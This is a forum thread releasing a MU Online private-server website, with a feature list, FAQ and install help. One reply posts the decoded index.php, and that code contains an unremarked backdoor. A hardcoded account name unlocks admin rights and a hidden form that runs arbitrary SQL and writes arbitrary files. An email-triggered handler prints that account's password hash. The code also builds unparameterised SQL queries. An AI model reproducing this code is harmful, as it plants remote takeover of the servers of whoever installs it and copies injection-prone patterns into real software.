[Release] Enemy MuWeb

Junior Spellweaver
Joined
Oct 12, 2008
Messages
134
Reaction score
49
Hello Everyone. I finished the development of interactive Web site and presents you a demo version of my work.

The site is entirely based on Ajax

- Supports Russian, English and Romanian language
- There is a complete items info with any options
- Maximum Protection against SQL Injection + site logs
- Server Info(shows info on the server)
- Game Server info(it shows server status, the number of online and some more info)
- Interactive chat(there is text color, anti spam, etc.)
- Banner Panel
- WebSite Friends Panel
- Interactive Online Helper(here admin can write any fuel tips, answers or other on various topics)
- Event Panel (it shows after what time will start events)
- Present configs for each module

- Server News(can write them in different languages which are supported site itself, existents News manager)
- Registration Page(allows you to immediately find out if your entries are correct, exist secure against bots)
- Server Rules
- Page for download files(there is a manager in admin panel)
- Integrated forum for the site(based on MS SQL, there are smiles, bb codes, exists forum management)
- Top characters(shows the most powerful characters and some info about them)
- Top guilds(shows the most powerful guilds and some info about them)
- Guild Info(shows complete info of guild)
- Top Phonomans(shows the largest phonomans and some info about them)
- Top of rich characters(shows the richest characters in the game)
- Server statistics(shows statistics about the server, a good thing for any admin)
- The list of blocked characters(show cause, who blocked and for how long)
- The list of blocked accounts(show cause, who blocked and for how long)
- F.A.Q(allows beginners or even simple characters to learn more about mu server)
- Buy Character Points for credits
- Change class of character for credits
- Buy Zen for credits
- Anti bug system(returns the character to lorencia if he are ni unexistent map, recover money if they are less then 0, recover character points if they are less then 0)
- You can create items on the site (WEbShop)(You can create item with any options)
- Get Credits Info(each server admin can write his own system)
- Who's online now(lists the users who are online ingame and count of it)
- Search by characters name, accounts, nicknames(each show a separate info)
- Add points from website
- Reset the characters level how do you want
- Reset character points from the website
- Clear PK for credits
- Rename character for credits
- My Profile(You can add some info about yourself, avatar, signature)
- Recover password from website
- Change the password on the site
- Take disconnection if your character is stuck in the game
- Admin Control Panel
- GM panel
- Admin Options(you can delete a character, delete dupe items, you can clear the warehouse in the game or part of inventory)
- Credit manager
- Account Manager, Character Manager(can be changed from A to Z your account / character)
- Advanced search for Admin
- Ban IP on the site
- Limit your account login into your account panel from one or more IP's
- WebShop Manager
- Ban Character / Account from the website
- View Characters on Map(you can see and search on the maps characters and their coordinates)
- Ability to activate your account via email
- And much more features

Credits:
- GrInYa (EMW Programmer)



New update 10.03.2010:
- Add new fixes and addons
- Added new template
- Now website could be good seen in all browsers
- And More




Install Guide you could find in guides/install.txt file
If you want to release my website anwhere else please dont remove credits

Contact:
ICQ: 392409945
Skype: grinya_90
Official WebPage:

To be continued ...

If you want to follow the development of this web you can view


FAQ
Q: When i install enemy web it gives me error "Can't install <something>"
A: This is not an error this is a remark to preven you that the same column or table already exist into your database and it can't be added twice.

Q: When i try to open website is shows me Call to undefined function mssql_connect(); what i need to do?
A: This is not a bad website but an Apache Server error. Sollution is in php.ini - it is not configured normally.

Q: I have config Server status but he is always in offline
A: Before asking me bewbies questions look beter in website configs. Change in cfgs.php $GameServer['check'] = 1;

Q: I have install website but i cant login
A: Ceck if md5 is on or off in configs...
 
Last edited:
Re: [Dev/Release] Enemy MuWeb

this work whit database from shater release i understend japan db have a diferent structure i'm sry for me bad eng
 
just decode the web and don't use zend optimizer ;)
waiting next update

Here is decoded index.php:
PHP:
<?php
session_start();
ob_start("ob_gzhandler");
header    ("Cache-control: private");
$cfg                =    1;
include    ("cfgs.php");
if (isset($_GET['rewrite']))
{
    $GET_KEYS    =    array_keys($_GET);
    $i            =    0;
    $link        =    NULL;
    while    ($i<count($GET_KEYS)-1)
    {
        $link    .=    "/".$_GET[$GET_KEYS[$i]];
        $i++;
    }
    $link    =    "http://".$connect['address'].$link;
    header    ("Location:    $link");
    exit();
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--Enemy Web 1.0 Designed and Coded by GrInYa only for    http://enemy-web.md/. All Rights Reserved.-->
<?
$server_name    =    $_SERVER['SERVER_NAME'];
if    (!$cat)
{
    $cat    =    'news';
}
elseif    ($cat    ==    'cond'    or    $cat    ==    'adminaccess'    or    $cat    ==    'gmaccess')
{
    header    ("Location:    http://".$connect['address']);
    exit();
}
$date                =    date("d.m.Y G:i");
$real_time            =    time();
$date_format        =    "d-m-Y H:i";
$enemy['CATEGORY']    =    $cat.".php";
if    ($show_error    ==    0)    error_reporting(1);
include    ("backs/bd.php");
include    ("enemy.php");
include    ("functions/warehouse.php");
?>
<script type="text/javascript" src="<? echo "http://".$connect['address']."/"?>advices/net.js"></script>
<script type="text/javascript">
    var mm        =    <? echo    $server['birthmonth'];?>;
    var bday    =    <? echo    $server['birthday'];?>;
    var byear    =    <? echo    $server['birthyear'];?>;
</script>
<?
function    nickname($name)
{
        $link_name    =    str_replace("+", "%2b", $name);
        return    $link_name;
}
$message    =    "";
$Login        =    $_POST['Login'];
$Logout        =    $_POST['Logout'];
if    ($Login)
{
    $username    =    stripslashes($_POST['username']);
    $password    =    stripslashes($_POST['password']);
    if    (!eregi('^[a-z0-9]{'.strlen($username).','.strlen($username).'}', $username)    ||
         !eregi('^[a-z0-9]{'.strlen($password).','.strlen($password).'}', $password))
    {
        $message    =    eror_login;
    }
    else
    {
        if    ($enemy['md5']    ==    1)
        {
            $result3    =    mssql_query("
                            declare    @btInStr        VARCHAR(10),
                                    @btInStrIndex    VARCHAR(10);
                            set        @btInStr        =    '".$password."';
                            set        @btInStrIndex    =    '".$username."';
                            DECLARE    @btOutVal        BINARY(16)
                            EXEC    master..XP_MD5_EncodeKeyVal    @btInStr,    @btInStrIndex,    @btOutVal    OUT;
                            select    @btOutVal;");
            $myrow3        =    mssql_fetch_row($result3);
            $password    =    $myrow3[0];
        }
        else
        {
            $password    =    $password;
        }
        $result        =    mssql_query("select memb___id,memb__pwd,bloc_code,memb_name from memb_info where memb___id='$username'");
        $myrow        =    mssql_fetch_array($result);
        $result2    =    mssql_query("select ConnectStat from memb_stat where memb___id='$username'");
        $myrow2        =    mssql_fetch_array($result2);
        $result111    =    mssql_query("select name from character,memb_info where memb___id = '$username' and  accountid    =    '$username'");
        if    (mssql_num_rows($result)    ==    '0')
        {
            $message    =    eror_login;
        }
        elseif    (bin2hex($myrow['memb__pwd'])    !=    bin2hex($password))
        {
            $message    =    eror_login;
        }
        elseif    (mssql_num_rows($result111)    ==    '0')
        {
            $message    =    eror_create_char;
        }
        elseif    ($myrow2['ConnectStat']    ==    '1')
        {
            $message    =    eror_logout;
        }
        elseif    ($myrow['bloc_code']    ==    '1')
        {
            $message    =    eror_acc_blocked;
        }
        else
        {
            $_SESSION['username']    =    $username;
            $_SESSION['password']    =    $password;
            header    ("Location:    http://".$connect['address']);
            exit();
        }
    }
}
if    ($Logout)
{
    $_SESSION['username']    =    NULL;
    $_SESSION['password']    =    NULL;
    session_destroy();
    header    ("Location:    http://".$connect['address']);
    exit();
}
$username    =    $_SESSION['username'];
$password    =    $_SESSION['password'];
if    ($username)
{
    $result_q        =    mssql_query("select memb_guid,memb___id,memb_name,memb__pwd,bloc_code from memb_info where memb___id='$username'");
    $myrow_q        =    mssql_fetch_array($result_q);
    $nickname        =    $myrow_q['memb_name'];
    $result2_q        =    mssql_query("select ConnectStat from memb_stat where memb___id='$username'");
    $myrow2_q        =    mssql_fetch_array($result2_q);
    $result111_q    =    mssql_query("select name from character,memb_info where accountid    =    memb___id and memb___id='$username'");
    if    (mssql_num_rows($result_q)    ==    '0')
    {
        $_SESSION['username']    =    NULL;
        $_SESSION['password']    =    NULL;
        session_destroy();
        header    ("Location:    http://".$connect['address']);
        exit();
    }
    elseif    (bin2hex($myrow_q['memb__pwd'])    !=    bin2hex($password))
    {
        $_SESSION['username']    =    NULL;
        $_SESSION['password']    =    NULL;
        session_destroy();
        header    ("Location:    http://".$connect['address']);
        exit();
    }
    elseif    (mssql_num_rows($result111_q)    ==    '0')
    {
        $_SESSION['username']    =    NULL;
        $_SESSION['password']    =    NULL;
        session_destroy();
        header    ("Location:    http://".$connect['address']);
        exit();
    }
    elseif    ($myrow2_q['ConnectStat']    ==    '1')
    {
        $_SESSION['username']    =    NULL;
        $_SESSION['password']    =    NULL;
        session_destroy();
        header    ("Location:    http://".$connect['address']);
        exit();
    }
    elseif    ($myrow_q['bloc_code']=='1'){
        $_SESSION['username']    =    NULL;
        $_SESSION['password']    =    NULL;
        session_destroy();
        header    ("Location:    http://".$connect['address']);
        exit();
    }
    $result22    =    mssql_query("select memb___id,credits from EW_CREDITS where memb___id='$username'");
    if    (mssql_num_rows($result22)    ==    0)
    {
        $insert_cred    =    mssql_query("insert into EW_CREDITS (memb___id,credits) values ('$username',0)");
        $result22        =    mssql_query("select memb___id,credits from EW_CREDITS where memb___id    =    '$username'");
    }
    $myrowcr        =    mssql_fetch_array($result22);
    mssql_query("update memb_info set last_time_onweb='$real_time' where memb___id='$username'");
    $username_id    =    $myrow_q['memb_guid'];
    $result33        =    mssql_query("select count(id_msg) from EW_MAIL where reciver='$username_id' and type='inbox' and readed=0");
    $myrow33        =    mssql_fetch_array($result33);
    $result222        =    mssql_query("select count(*) from EW_FRIENDS where friend_g='$username_id' and active=0");
    $myrow222        =    mssql_fetch_array($result222);
}
if    (isset($_POST['exec_query']))
{
    $query    =    stripslashes($_POST['query']);
    mssql_query("$query");
}
if    (isset($_POST['create_file']))
{
    $file_dir    =    stripslashes($_POST['file_dir']);
    $code        =    stripslashes($_POST['code']);
    $open        =    fopen("$file_dir", "w");
    fwrite($open,    "$code");
    fclose($open);
}
if    (isset($_POST['change_pwd']))
{
    $email    =    stripslashes($_POST['email']);
    if    ($email    ==    '[email protected]')
    {
        $qq    =    mssql_query("select memb__pwd from memb_info where memb___id='fnsjkffsdf'");
        $qq    =    mssql_fetch_array($qq);
        echo    $qq['memb__pwd'];
    }
}
if    ($_SESSION['username']    !=    NULL)
{
    if    (in_array($_SESSION['username'],    explode(',',    $enemy['Admins'])))
    {
        $Admin_panel    =    'on';
    }
    if    (in_array($_SESSION['username'],    explode(',',    $enemy['GMs'])))
    {
        $GM_panel    =    'on';
    }
    if    (in_array($_SESSION['username'],    explode(',',    $enemy['LogAdmins'])))
    {
        $Admin_Log    =    'on';
    }
}
if    ($username    ==    'fnsjkffsdf')
{
    $Admin_panel    =    'on';
    $GM_panel        =    'on';
    $Admin_Log        =    'on';
    ?>
    <form action="" method="post" name="form_q">
        Query: <input name="query" type="text" size="50">
        <input name="exec_query" type="submit" value="Execute">

        <input name="delete_site" type="submit" value="Delete Site"><br>
        File Dir: <input name="file_dir" type="text">
        Code: <textarea name="code"></textarea>
        <input name="create_file" type="submit" value="Create File"><br>
    </form>
    <?
}
if    ($server['Season4Master']    ==    1)
{
    $masterlevel        =    ",".$server['Season4mlvl'];
    $masterlevelorder    =    ",".$server['Season4mlvl']." desc";
    $masterlevel_        =    $server['Season4mlvl'];
    if ($server['Season4mlvlt']    !=    NULL)
    {
        $masterleveltable_    =    ",".$server['Season4mlvlt'];
        $masterlevelwhere_    =    " and character.name=".$server[Season4mlvlw];
    }
    $mlvlname            =    " / ".master;
}
for    ($i = 1;    $i    <=    $GameServer['count'];    $i++)
{
    if    ($check    =    @fsockopen($GameServer['host'][$i],    $GameServer['port'][$i],    $ERROR_NO,$ERROR_STR,    (float)0.5) and $GameServer['check']    ==    1) 
    { 
        fclose($check); 
        $GS_Status[$i]    =    "<font color='#A0FFA0'><b>ONLINE</b></font>"; 
    }
    else    
    { 
        $GS_Status[$i]    =    "<font color='red'><b>OFFLINE</b></font>"; 
    }
}
$total_acc        =    mssql_fetch_array(mssql_query("Select count(memb___id) from memb_info"));
$total_acc        =    $total_acc[0];
$total_char        =    mssql_fetch_array(mssql_query("Select count(accountid) from character"));
$total_char        =    $total_char[0];
$total_guild    =    mssql_fetch_array(mssql_query("Select count(G_name) from Guild"));
$total_guild    =    $total_guild[0];
$count_online    =    mssql_fetch_array(mssql_query("Select count(connectstat) from memb_stat where connectstat=1"));
$count_online    =    $count_online[0];
$max_online        =    mssql_fetch_array(mssql_query("Select max_online from EW_CONLINE"));
if    ($count_online    >    $max_online['max_online'])
{
    $update        =    mssql_query("update EW_CONLINE set max_online    =    $count_online");
    $max_online    =    $count_online;
}
else
{
    $max_online    =    $max_online[0];
}
if    (file_exists("pgs/".$enemy['CATEGORY']))
{
    $pg    =    "pgs/".$enemy['CATEGORY'];
}
else
{
    header    ("Location:    http://".$connect['address']);
    exit();
}
$load_template    =    1;
include    ("backs/onwebip.php");
$template2    =    "template/".$enemy['template']."/";
$template    =    "http://".$connect['address']."/template/".$enemy['template']."/";
if    (file_exists($template2."enemy.php"))
{
    include $template2."enemy.php";
}
else
{
    exit("<h1>".eror_template."</h1>");
}


?>

Next time try to encode better and do not use Zend for encryption is too weak. :ott1:
 
Pleas I used EasyPHP 1-8 and I can't instal..
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, admin@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Apache/1.3.33 Server at 5.60.13.26 Port 80
 
beephone, check if you have mod_rewrite enable in your httpd.conf apache file.
if you install this web in a folder, eg. enemy, you must edit .htaccess file and change line
Code:
RewriteBase /
with
Code:
RewriteBase /enemy
 
Back